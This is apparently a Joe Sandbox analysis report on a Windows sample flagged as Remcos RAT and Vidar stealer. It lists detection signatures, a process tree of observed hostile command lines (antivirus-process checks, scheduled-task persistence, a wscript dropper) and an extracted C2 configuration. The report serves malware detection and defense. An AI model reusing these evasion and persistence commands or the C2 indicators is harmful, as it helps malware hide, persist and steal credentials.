Edit tour

Windows Analysis Report
mg9LPWGtPB.exe

Overview

General Information

Sample name:	mg9LPWGtPB.exe renamed because original name is a hash value
Original sample name:	5715f2100028b28f508559c4782daa5e.exe
Analysis ID:	1472119
MD5:	5715f2100028b28f508559c4782daa5e
SHA1:	f15aa6ce0470b63d98406f3a4821675a2bb45732
SHA256:	3ef1d040731916fee2fe1317c53a0e363f05fd12f87b84563af86ac5d49f74c2
Tags:	32exetrojan
Infos:

Detection

Remcos, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected Remcos RAT

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Remcos

Sigma detected: Search for Antivirus process

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Sigma detected: WScript or CScript Dropper

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript called in batch mode (surpress errors)

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

mg9LPWGtPB.exe (PID: 4368 cmdline: "C:\Users\user\Desktop\mg9LPWGtPB.exe" MD5: 5715F2100028B28F508559C4782DAA5E)

cmd.exe (PID: 4052 cmdline: "C:\Windows\System32\cmd.exe" /k move Handjob Handjob.cmd & Handjob.cmd & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2128 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 2604 cmdline: findstr /I "wrsa.exe opssvc.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 6380 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 180 cmdline: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5324 cmdline: cmd /c md 787041 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 5256 cmdline: findstr /V "SenatorsRamAspectYounger" Boat MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5708 cmdline: cmd /c copy /b Buffalo + Sims + Imagine 787041\l MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Hist.pif (PID: 4368 cmdline: 787041\Hist.pif 787041\l MD5: B06E67F9767E5023892D9698703AD098)

timeout.exe (PID: 6516 cmdline: timeout 15 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

EHIJJDGDHD.exe (PID: 4752 cmdline: "C:\ProgramData\EHIJJDGDHD.exe" MD5: 384DAB1B42A5204901682D527A14752E)

cmd.exe (PID: 6972 cmdline: "C:\Windows\System32\cmd.exe" /k copy Approximate Approximate.cmd & Approximate.cmd & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5452 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 516 cmdline: findstr /I "wrsa.exe opssvc.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 4352 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3848 cmdline: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5400 cmdline: cmd /c md 661592 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 412 cmdline: findstr /V "RECEIVEFILLMEDIAEVALUATING" Natural MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5608 cmdline: cmd /c copy /b Saturn + Demonstrated + Preceding + Eagles + Salon + Grows + Featured 661592\h MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Bk.pif (PID: 2296 cmdline: 661592\Bk.pif 661592\h MD5: B06E67F9767E5023892D9698703AD098)

cmd.exe (PID: 6640 cmdline: cmd /c schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6656 cmdline: schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

schtasks.exe (PID: 3660 cmdline: schtasks.exe /create /tn "SolarSys" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc onlogon /F /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 1680 cmdline: timeout 15 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cmd.exe (PID: 3364 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\JDAFIEHIEGDH" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 6804 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

wscript.exe (PID: 1100 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

SolarSys.pif (PID: 3784 cmdline: "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif" "C:\Users\user\AppData\Local\SunCraft Innovations\Y" MD5: B06E67F9767E5023892D9698703AD098)

wscript.exe (PID: 3288 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

SolarSys.pif (PID: 6984 cmdline: "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif" "C:\Users\user\AppData\Local\SunCraft Innovations\Y" MD5: B06E67F9767E5023892D9698703AD098)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199735694209"], "Botnet": "704b02283cd90e61ff947b4e87e7b990"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000B.00000003.2555154837.0000000004954000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.3073354525.0000000004920000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.3072722051.0000000004620000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000003.2555196577.0000000004D28000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.3073354525.0000000004953000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.3073627250.0000000004D21000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.3072148698.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2555073817.00000000046A5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000003.2555115715.00000000015D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Hist.pif PID: 4368	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Hist.pif PID: 4368	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Hist.pif PID: 4368	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.Hist.pif.4d20000.5.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.Hist.pif.4953a50.4.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.Hist.pif.4953a50.4.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: cmd /c schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine: cmd /c schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: 661592\Bk.pif 661592\h, ParentImage: C:\Users\user\AppData\Local\Temp\661592\Bk.pif, ParentProcessId: 2296, ParentProcessName: Bk.pif, ProcessCommandLine: cmd /c schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, ProcessId: 6640, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine: schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: cmd /c schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6640, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, ProcessId: 6656, ProcessName: schtasks.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js", ProcessId: 1100, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: 787041\Hist.pif 787041\l, CommandLine: 787041\Hist.pif 787041\l, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\787041\Hist.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\787041\Hist.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\787041\Hist.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k move Handjob Handjob.cmd & Handjob.cmd & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4052, ParentProcessName: cmd.exe, ProcessCommandLine: 787041\Hist.pif 787041\l, ProcessId: 4368, ProcessName: Hist.pif

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "SolarSys" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc onlogon /F /RL HIGHEST, CommandLine: schtasks.exe /create /tn "SolarSys" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc onlogon /F /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: 661592\Bk.pif 661592\h, ParentImage: C:\Users\user\AppData\Local\Temp\661592\Bk.pif, ParentProcessId: 2296, ParentProcessName: Bk.pif, ProcessCommandLine: schtasks.exe /create /tn "SolarSys" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc onlogon /F /RL HIGHEST, ProcessId: 3660, ProcessName: schtasks.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /k copy Approximate Approximate.cmd & Approximate.cmd & exit, CommandLine: "C:\Windows\System32\cmd.exe" /k copy Approximate Approximate.cmd & Approximate.cmd & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\ProgramData\EHIJJDGDHD.exe" , ParentImage: C:\ProgramData\EHIJJDGDHD.exe, ParentProcessId: 4752, ParentProcessName: EHIJJDGDHD.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /k copy Approximate Approximate.cmd & Approximate.cmd & exit, ProcessId: 6972, ProcessName: cmd.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js", ProcessId: 1100, ProcessName: wscript.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , CommandLine: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k move Handjob Handjob.cmd & Handjob.cmd & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4052, ParentProcessName: cmd.exe, ProcessCommandLine: findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe" , ProcessId: 180, ProcessName: findstr.exe

Stealing of Sensitive Information

Sigma detected: Remcos

Source: Registry Key set

Author: Joe Security: Data: Details: 44 BC 7A D9 BF 60 0C CC 22 CD 04 87 10 1C CE 33 25 89 CF 94 EB A8 65 9A 6F 24 FE 66 16 6A F5 A2 3E 93 E2 9E DF 83 B8 E5 F4 0D 8E 6F AF 6B 2A FA AD 16 25 8B 31 32 22 13 7A B6 88 BF 79 22 B4 DE EB 5A 3D 30 D3 2B 4D 11 D3 AB EE DF B5 27 50 B3 3E D6 85 57 05 70 FC 13 ED E2 F1 E4 64 08 DB E4 13 E1 , EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\661592\Bk.pif, ProcessId: 2296, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Rmc-6MRD2P\exepath

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199735694209	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199735694209/inventory/	Avira URL Cloud: Label: malware
Source: https://t.me/puffclou	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000000B.00000003.2555154837.0000000004954000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199735694209"], "Botnet": "704b02283cd90e61ff947b4e87e7b990"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\EHIJJDGDHD.exe	ReversingLabs: Detection: 33%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Windows_Services_AS[1].exe	ReversingLabs: Detection: 33%

Multi AV Scanner detection for submitted file

Source: mg9LPWGtPB.exe

ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.7% probability

Machine Learning detection for sample

Source: mg9LPWGtPB.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: INSERT_KEY_HERE
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetProcAddress
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: LoadLibraryA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: lstrcatA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: OpenEventA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CreateEventA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CloseHandle
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Sleep
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetUserDefaultLangID
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: VirtualAllocExNuma
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: VirtualFree
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetSystemInfo
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: VirtualAlloc
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: HeapAlloc
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetComputerNameA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: lstrcpyA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetProcessHeap
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetCurrentProcess
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: lstrlenA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: ExitProcess
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GlobalMemoryStatusEx
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetSystemTime
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SystemTimeToFileTime
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: advapi32.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: gdi32.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: user32.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: crypt32.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: ntdll.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetUserNameA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CreateDCA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetDeviceCaps
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: ReleaseDC
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CryptStringToBinaryA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: sscanf
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: NtQueryInformationProcess
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: VMwareVMware
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: HAL9TH
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: JohnDoe
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: DISPLAY
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %hu/%hu/%hu
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetEnvironmentVariableA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetFileAttributesA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GlobalLock
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: HeapFree
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetFileSize
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GlobalSize
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: IsWow64Process
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Process32Next
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetLocalTime
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: FreeLibrary
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetTimeZoneInformation
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetSystemPowerStatus
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetVolumeInformationA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetWindowsDirectoryA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Process32First
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetLocaleInfoA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetUserDefaultLocaleName
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetModuleFileNameA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: DeleteFileA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: FindNextFileA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: LocalFree
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: FindClose
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SetEnvironmentVariableA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: LocalAlloc
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetFileSizeEx
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: ReadFile
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SetFilePointer
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: WriteFile
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CreateFileA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: FindFirstFileA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CopyFileA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: VirtualProtect
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetLastError
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: lstrcpynA
